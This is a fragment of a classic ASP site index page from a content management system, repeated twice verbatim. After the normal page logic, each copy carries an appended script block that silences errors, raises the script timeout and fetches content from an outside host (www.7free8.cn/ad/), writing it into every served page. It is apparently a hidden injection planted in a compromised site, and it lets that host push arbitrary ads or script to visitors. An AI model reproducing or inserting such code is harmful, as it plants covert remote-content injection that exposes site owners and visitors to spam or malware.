"
Response.End
End If
If FileName_SiteIndex <> "Index.asp" Then
Call CloseConn
Response.Redirect FileName_SiteIndex
Else
If CurrentPage > 1 Or PE_Cache.CacheIsEmpty("Site_Index") Then
Call GetHTML_SiteIndex
If CurrentPage = 1 Then PE_Cache.SetValue "Site_Index", strHtml
Else
strHtml = PE_Cache.GetValue("Site_Index")
End If
Response.Write strHtml
End If
Call CloseConn
%>
<%
On Error Resume Next
Server.ScriptTimeOut=9999999
response.write(getHTTPPage("http://www.7free8.cn/ad/"))
function getHTTPPage(url)
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function
Function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
%>
"
Response.End
End If
If FileName_SiteIndex <> "Index.asp" Then
Call CloseConn
Response.Redirect FileName_SiteIndex
Else
If CurrentPage > 1 Or PE_Cache.CacheIsEmpty("Site_Index") Then
Call GetHTML_SiteIndex
If CurrentPage = 1 Then PE_Cache.SetValue "Site_Index", strHtml
Else
strHtml = PE_Cache.GetValue("Site_Index")
End If
Response.Write strHtml
End If
Call CloseConn
%>
<%
On Error Resume Next
Server.ScriptTimeOut=9999999
response.write(getHTTPPage("http://www.7free8.cn/ad/"))
function getHTTPPage(url)
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function
Function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
%>